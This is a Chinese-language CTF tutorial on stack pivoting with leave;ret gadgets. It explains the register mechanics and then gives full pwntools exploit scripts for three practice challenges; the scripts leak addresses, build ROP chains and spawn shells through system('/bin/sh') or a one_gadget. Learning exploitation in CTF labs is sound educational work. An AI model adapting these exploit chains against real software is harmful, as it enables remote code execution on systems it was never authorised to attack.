前言
我們現在一般做題題目是給出很大的一塊空間供我們寫入棧溢出的ROP鏈的,但是當題目限制輸入的空間比如說幾個字節呢,只能覆蓋到ebp,ret_addr,這個時候就需要棧遷移這樣的騷操作了,接下來我將用很通俗的語言帶你們深入理解棧遷移。
原理
一般我們進行棧溢出攻擊的時候,題目一般會給出足夠大的空間寫入我們的構造的ROP鏈,但是有一些題目會限制你的輸入空間,這樣的時候就是需要我們利用棧遷移將我們的棧轉移到別的地方,一般是在bss段,我們可以在bss段設定一段gadget,之后將棧遷移從而getshell
棧遷移的關鍵在于利用leave;ret指令,這里我詳細說明一下leave和ret具體是什么
leave指令即為mov esp ebp;pop ebp先將ebp賦給esp,此時esp與ebp位于了一個地址,你可以現在把它們指向的那個地址,即當成棧頂又可以當成是棧底。然后pop ebp,將棧頂的內容彈入ebp(此時棧頂的內容也就是ebp的內容,也就是說現在把ebp的內容賦給了ebp)
這里說明一下ebp和ebp的內容是兩碼事,
ebp是0xffe7a9e8,它的內容是0xffe7aa38,而這個內容也是一個地址,這個地址里面裝的又是0x8059b50。ebp本身大部分時候都是一個地址(程序正常運行情況下),而ebp的內容可以是地址,也可以不是地址(程序正常運行下,ebp的內容也裝的是地址,但如果你進行溢出的話,自然可以不裝成地址)。
當我們pop ebp之后,由于將棧頂的內容都彈入到ebp了,那么esp也會向下移一個內存單元
下面我將用圖片演示一下leave;ret的過程
ret指令為pop eip,這個指令就是把棧頂的內容彈進了eip(就是下一條指令執行的地址)
為什么要利用2次leave;ret從而進行棧遷移呢?
比如我們調用一個Evi1s7()函數時,也就是eip執行到call Evi1s7指令,call 指令以及Evi1s7函數開頭的指令依次做了如下事情來「保護現場」:
- 牢記Evi1s7結束后應從哪里繼續執行(保存當前 eip下面的位置到棧中,即 ret);
- 牢記上層函數的棧底位置(保存當前 ebp 的內容到棧中,即為old ebp);
- 牢記Evi1s7函數棧開始的位置(保存當前棧頂的內容到 ebp,便于Evi1s7函數棧內的尋址);
當Evi1s7函數執行結束時,eip 即將執行 leave 與 ret 兩條指令恢復現場,而由前文可知,leave 與 ret 指令則相當于完成如下事情來「恢復現場」:
- 清空當前函數棧以還原棧空間(直接移動棧頂指針 esp 到當前函數的棧底 ebp );
- 還原棧底(將此時 esp 所指的上層函數棧底 old ebp 彈入 ebp 寄存器內);
- 還原執行流(將此時 esp 所指的上層函數調用foo時的地址彈入 eip 寄存器內)
當調用一個函數的時候,正常流程是像上面一樣進行保護現場,之后恢復現場,一旦攻擊者能篡改棧上原old ebp 內容,則能篡改 ebp 寄存器中的內容,從而「有可能」去篡改 esp 的內容,進而影響到 eip。這一流程其實就是棧遷移的核心思想。
這里為什么說是有可能呢,這是因為 leave 所代表的子指令是有先后執行順序的,即無法先執行 pop ebp ,再執行 mov esp, ebp,因此直覺上無法先影響 ebp 再影響 esp
而且當我們將棧上 ret 部分覆蓋為另一組 leave ret指令(gadget)的地址,即最終程序退出時會執行兩次 leave 指令,一次 ret 指令。由此,當 pop ebp 被第一次執行后,eip 將指向又一條 mov esp, ebp指令的地址,而此時 ebp 寄存器的內容已變為了第一次 pop ebp 時,被篡改過的棧上 ebp 的數據。這樣,esp 就會被「騙」到了另外的一處內存空間,從而整個函數的棧空間也完成了「遷移」。
棧遷移利用
首先要進行棧溢出將ebp修改為目標地址(也就是需要進行遷移的地址),并且把ret addr填充為leave;ret指令的地址
接下來我會用圖片以及文字進行講解
開始執行第一個leave;ret,首先是確保可以棧溢出將ebp,ret_addr都可以覆蓋,之后將ebp修改為需要遷移到的地址(一般是我們構造好ROP鏈的位置),ret_addr修改為leave;ret的指令的地址,之后mov esp,ebp,esp和ebp處于同一位置,指向同一個地址,之后pop ebp,將棧頂的內容彈出給ebp,之后我們的ebp就來到了目標地址,再ret->pop eip,我們的存有leave_ret_addr的地址就作為返回地址存儲到了eip中,接下來立馬再次執行一次leave;ret
第二個leave;ret,此時ebp和esp的位置互換了,之后再執行mov ebp,esp就可以將esp遷移到ebp的位置,至此我們的esp,ebp已經完全遷移到目標地址了,之后再pop ebp,將棧頂沒用的內容彈出,此時棧頂的內容就是system@plt的地址了,這個時候我們再執行ret->pop eip的話,其實就是將棧頂的內容也就是(sytem@plt)彈入到eip中,我們接下來就是執行system@plt從而getshell
經過上面的分析,我們對于棧遷移也有了一定的了解,總結一下:
- 第一次leave;ret,其實就是讓ebp放入目標地址
- 第二次leave;ret,就是將esp也遷移到ebp的位置,之后pop ebp,esp指向下一個內存單元,如上圖,這里esp是指向了system@plt,從而getshell
實例分析
ciscn_2019_es_2
32位下的棧遷移,printf()的特性
file&checksec
32位程序,開啟了nx保護
IDA靜態分析
main()
int __cdecl main(int argc, const char **argv, const char **envp)
{
init();
puts("Welcome, my friend. What's your name?");
vul();
return 0;
}
首先調用了一個init()函數進行了初始化緩沖區,之后輸出一行字符串,之后調用vul()函數
init()
int init()
{
setvbuf(stdin, 0, 2, 0);
return setvbuf(stdout, 0, 2, 0);
}
初始化輸入和輸出緩沖區
vul()
int vul()
{
char s[40]; // [esp+0h] [ebp-28h] BYREF
memset(s, 0, 0x20u);
read(0, s, 0x30u);
printf("Hello, %s\n", s);
read(0, s, 0x30u);
return printf("Hello, %s\n", s);
}
這里我轉義一下進制,便于理解
int vul()
{
char s[40]; // [esp+0h] [ebp-28h] BYREF
memset(s, 0, 32u);
read(0, s, 48u);
printf("Hello, %s\n", s);
read(0, s, 48u);
return printf("Hello, %s\n", s);
}
可以看到,我們對于s開辟了一個40個字節的緩沖區,但是我們read()讀取時讀48個字節,顯然是存在棧溢出的,但是只能溢出8字節,顯然是不夠的,這就需要進行棧遷移了,而且題目給出的溢出字節正好可以覆蓋ebp和ret_addr
hack()
int hack()
{
return system("echo flag");
}
直接給我們提供后門函數了,但是參數有一點問題,上述命令執行其實就是打印一個flag的字符串,所以我們需要利用棧遷移將echo flag修改為/bin/sh
gdb動調
看一下ebp和參數s的距離
到vul()步進
上圖的第一個框是參數s的地址
第二個框是main函數的ebp的地址,這里我要解釋一下了,我們此時是步進入了vul()函數,此時上圖顯示的ebp是vul()的ebp,我們的框中的才是main()的ebp
所以我們此時知道參數s的地址了,就是ebp_addr-0x38
首先,泄露ebp的地址
IDA分析vul()發現提供了 printf 這一輸出函數,printf函數在輸出的時候遇到’\0‘會停止,如果我們將參數s全部填滿,這樣就沒法在末尾補上’\0‘,那樣就會將ebp連帶著輸出
之后就是布置s棧上的值
先畫一下棧幀,結合棧幀進行講解
IDA看s的棧結構,我們構造的payload大致可以分為這7個框
- 第一個框,這里是填充的aaaa字符串,這里是填入的我們前面進行gdb測試的字符串,這里存儲的第二次pop ebp的彈出的內容,為的是接下來將system@plt存儲到eip中
- 第二個框,這里是存放的是system@plt的地址
- 第三個框,這里存放的是system_ret_addr,這里隨便填充即可,這里目的主要是維持棧的完整性
- 第4個框,這里存放的是放置binsh的地址,其實通俗的理解就是放置跳轉到/bin/sh的地址
- 第5個框,是我們輸入/bin/sh字符串之后存儲的地方,這里順便說一下為什么要利用8個字節進行存放我們的/bin/sh,因為/bin/sh占用7個字節,一個內存空間是遠遠不夠的,所以我們調用2個內存空間進行存儲。
- 第6個框,是我們進行覆蓋ebp的地方,我們將這里覆蓋為參數s的地址,這樣的話,當我們pop ebp的時候,會跳轉到參數s的地址,就可以輸入0x28個字節的內容,從而可以將我們的ROP鏈構造
- 第7個框,這里就是隨便寫入一個leave;ret的地址即可
Ubantu18環境,這里我用Ubantu16打的
exp:
import os
import sys
import time
from pwn import *
from ctypes import *
context.log_level='debug'
context.arch='i386'
#p=remote("node4.buuoj.cn",27740)
p=process('./pwn0')
elf = ELF('./pwn0')
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
s = lambda data :p.send(str(data))
sa = lambda delim,data :p.sendafter(str(delim), str(data))
sl = lambda data :p.sendline(data)
sls = lambda data :p.sendline(str(data))
sla = lambda delim,data :p.sendlineafter(str(delim), str(data))
r = lambda num :p.recv(num)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
l64 = lambda :u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
l32 = lambda :u32(p.recvuntil("\xf7")[-4:].ljust(4,b"\x00"))
context.terminal = ['gnome-terminal','-x','sh','-c']
def dbg():
gdb.attach(p,'b *$rebase(0x13aa)')
pause()
system=0x08048400
leak('system',system)
leave_ret=0x080485FD
pl1='a'*0x27+'b'
p.send(pl1) #not sendline
p.recvuntil("b")
ebp=u32(p.recv(4))
leak('ebp',ebp)
s=ebp-0x38
binsh=ebp-0x28
pl2='aaaa'+p32(system)+p32(1)+p32(binsh)+"/bin/sh\00"
pl2=pl2.ljust(0x28,'p')
pl2+=p32(s)+p32(leave_ret)
sl(pl2)
p.interactive()
還是依次解釋一下exp
- 第一個框,這里其實是利用printf()的特性,參數是%s,printf()遇到\00會停止,如果我們將參數s都填滿([ebp-28h]),這樣就不會在末尾加上\0,ebp的地址也就泄露出來了
- (這里順便說一下為什么不能用sendline送出去我們的payload,因為sendline的特性最后在末尾會補充上\00,這樣的話就進行\00截斷了,就無法帶出我們的ebp了)
- (這道題目是沒有開啟canary的,如果開啟了canary是要先泄露canary的,然后再泄露ebp)
- 第二個框,參數s距離ebp的距離是通過gdb動調看出來的,之后再看棧幀,我們輸入的測試字符串距離放入binsh的內存空間是隔了3個空間的,計算一下得出是偏移4個內存空間,也就是ebp-0x28
- 第三個框,pl2就是根據上面的棧幀構造的payload,利用ljust進行填充->為的是進行棧溢出覆蓋local variable,之后再覆蓋ebp為目標遷移地址,也就是參數s的地址,再加上leave_ret的地址,之后就可以寫入我們的binsh,從而getshell
gyctf_2020_borrowstack
64位下的棧遷移&棧遷移到bss段的細節
第一個read()存在溢出,第二個read()不存在溢出
file&checksec
IDA靜態分析
main()
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf[96]; // [rsp+0h] [rbp-60h] BYREF
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
puts(&s);
read(0, buf, 0x70uLL);
puts("Done!You can check and use your borrow stack now!");
read(0, &bank, 0x100uLL);
return 0;
}
發現第一個read()存在溢出,只能溢出0x10->16個字節,也就是64位下2個內存空間,也就是只能溢出到rbp和ret_addr
這道題思路其實挺簡單的,就是利用棧遷移將棧幀遷移到處于bss段的bank,但是這道題目有一個坑,這其實也提醒我們之后做題的細節
發現了got表離這個bss段地址是很近的,因為我們要把棧遷移到bss段,就是可以把這個bss段給看成棧了,我們會在這個“棧”里面調用puts函數去泄露函數地址,但是調用puts的時候會開辟新的棧幀從而改變地址較低處的內容(不僅僅是got表,還有FILE *stdout和FILE *stdin),導致程序崩潰。
而且這一道題目也沒有后門函數以及參數,肯定也涉及泄露libc基地址->我們可以利用puts()進行泄露puts的got表,之后再回到main函數,再執行兩次read,輸入我們的onegadget
小tips:有可能也看到了我的exp都用的send進行送數據,這是因為我們輸入的結果是要看函數用的什么的
如果是read函數的話:
①只有當count的字節數大于你所輸入的字節數,這個回車才不會產生任何的影響,而多出來的回車也會被當成輸入數據正常存入棧中(如果輸入的地址是棧的話);
②當count字節數等于你所輸入的字節數,那么最后的sendline的回車會停留在棧中(沒有在緩沖區中),此時它是不正常存入,因為這個回車的緣故,已經造成了溢出;
③當count字節數小于你所輸入的字節數,那么沒有輸入進指定地址的內容,都會停留在輸入緩沖區,有可能會影響之的輸入。
但值得一提的是使用read函數,我們可以用send來發送數據,這樣就可以確保萬無一失。
如果是gets函數或者scanf函數,我們沒有辦法選擇,只能使用sendline,這兩種函數只有遇見sendline發送的回車,才會停止讀入。
gets函數會清空緩沖區里的回車,而scanf則不會清空回車。因此scanf可能會因為沒有清空回車的緣故,對之后的程序輸入可能造成影響,但是如果gets函數溢出了數組限制的話,會異常的在輸入的字符串結尾填上一個00存入棧中。此時的00也有可能會覆蓋原本棧中的數據,另外就是遇見fgets的話,也是沒的選,只能用sendline
exp:
#coding=utf-8
import os
import sys
import time
from pwn import *
from ctypes import *
context.log_level='debug'
context.arch='amd64'
p=remote("node4.buuoj.cn",26741)
elf = ELF('./pwn')
libc = ELF('./libc-2.23.so')
s = lambda data :p.send(str(data))
sa = lambda delim,data :p.sendafter(str(delim), str(data))
sl = lambda data :p.sendline(data)
sls = lambda data :p.sendline(str(data))
sla = lambda delim,data :p.sendlineafter(str(delim), str(data))
r = lambda num :p.recv(num)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
l64 = lambda :u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
l32 = lambda :u32(p.recvuntil("\xf7")[-4:].ljust(4,b"\x00"))
context.terminal = ['gnome-terminal','-x','sh','-c']
def dbg():
gdb.attach(p,'b *$rebase(0x13aa)')
pause()
bank=0x0000000000601080
leave_ret=0x0000000000400699
main=elf.symbols['main']
leak('main',main)
rdi_addr=0x0000000000400703
rsi_addr=0x0000000000400701
puts_got=0x0000000000601018
ret_addr=0x000000000040069A
puts_plt=0x00000000004004E0
leak('puts_plt',puts_plt)
ru("Welcome to Stack bank,Tell me what you want\n")
pl = 'a'*0x60+p64(bank+0xd0)+p64(leave_ret)
s(pl)
#dbg()
ru("Done!You can check and use your borrow stack now!\n")
pl2='a'*0xd0+p64(0)+p64(rdi_addr)+p64(puts_got)+p64(puts_plt)+p64(main)
s(pl2)
puts=uu64(r(6))
leak('puts',puts)
libc_base=puts-libc.symbols['puts']
leak('libc_base',libc_base)
system=libc_base+libc.symbols['system']
leak('system',system)
ru("Welcome to Stack bank,Tell me what you want\n")
pl3='a'*0x60+p64(bank)+p64(leave_ret)
s(pl3)
one_gadget=libc_base+0x4526a
ru("Done!You can check and use your borrow stack now!\n")
pl4=p64(0) + p64(one_gadget) +p64(0)*10
#pl4=p64(0)+p64(rdi_addr)+p64(next(libc.search('/bin/sh\00')))+p64(system)
s(pl4)
p.interactive()
繼續解釋一下exp
- 第一個框,這里是將棧遷移到bss段,但是得留出一段寫入ROP鏈的地方,所以我這里是在bss段多偏移了0xc0的距離,留了很大的一塊空間
- 第二個框,這里就是引用了一段gadget進行泄露puts的got表,之后再返回main()
- 第三個框,這里就是再進行一次棧遷移
- 第四個框,將我們的onegadget寫入棧幀,后面的p64(0)*7是為了保持棧的完整性
后話
這里有個點需要注意,這個題目需要在exp前面加上一個 #coding=utf-8 ,不然我們ru接收不了,編碼的問題
[Black Watch 入群題]PWN
第一個read不存在溢出,第二個read()存在溢出
file&checksec
IDA靜態分析
main()
int __cdecl main(int argc, const char **argv, const char **envp)
{
vul_function();
puts("GoodBye!");
return 0;
}
vul_function()
ssize_t vul_function()
{
size_t v0; // eax
size_t v1; // eax
char buf[24]; // [esp+0h] [ebp-18h] BYREF
v0 = strlen(m1);
write(1, m1, v0);
read(0, &s, 0x200u);
v1 = strlen(m2);
write(1, m2, v1);
return read(0, buf, 0x20u);
}
主要漏洞點在第二個read(),其實操作和上一個題目差不多
就是在第一個read()寫入我們構造的ROP鏈,然后第二個read()遷移到處于bss段的s地址,先泄露libc,再getshell
exp:
#coding=utf-8
import os
import sys
import time
from pwn import *
from ctypes import *
context.log_level='debug'
context.arch='i386'
#p=process('./pwn')
p=remote("node4.buuoj.cn",27645)
elf = ELF('./pwn')
libc = ELF('./libc-2.23.so')
s = lambda data :p.send(str(data))
sa = lambda delim,data :p.sendafter(str(delim), str(data))
sl = lambda data :p.sendline(str(data))
sls = lambda data :p.sendline(str(data))
sla = lambda delim,data :p.sendlineafter(str(delim), str(data))
r = lambda num :p.recv(num)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
l64 = lambda :u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
l32 = lambda :u32(p.recvuntil("\xf7")[-4:].ljust(4,b"\x00"))
context.terminal = ['gnome-terminal','-x','sh','-c']
def dbg():
gdb.attach(p,'b *$rebase(0x13aa)')
pause()
puts_plt=0x08048350
puts_got=elf.got['puts']
s_addr=0x0804A300
leave_ret=0x08048542
main=0x08048513
ru('What is your name?')
pl=p32(0)+p32(puts_plt)+p32(main)+p32(puts_got)
s(pl)
ru('What do you want to say?')
pl2='a'*0x18+p32(s_addr)+p32(leave_ret)
s(pl2)
puts=uu32(r(4))
leak('puts',puts)
libcbase=puts-libc.symbols['puts']
leak('libcbase',libcbase)
system=libcbase+libc.symbols['system']
leak('system',system)
binsh=libcbase+next(libc.search('/bin/sh\00'))
leak('binsh',binsh)
ru('What is your name?')
pl3=p32(0)+p32(system)+p32(0)+p32(binsh)
s(pl3)
ru('What do you want to say?')
pl2='a'*0x18+p32(s_addr)+p32(leave_ret)
s(pl2)
p.interactive()
一顆小胡椒
RacentYY
RacentYY
Coremail郵件安全
X0_0X
上官雨寶
Andrew
虹科網絡安全
安全俠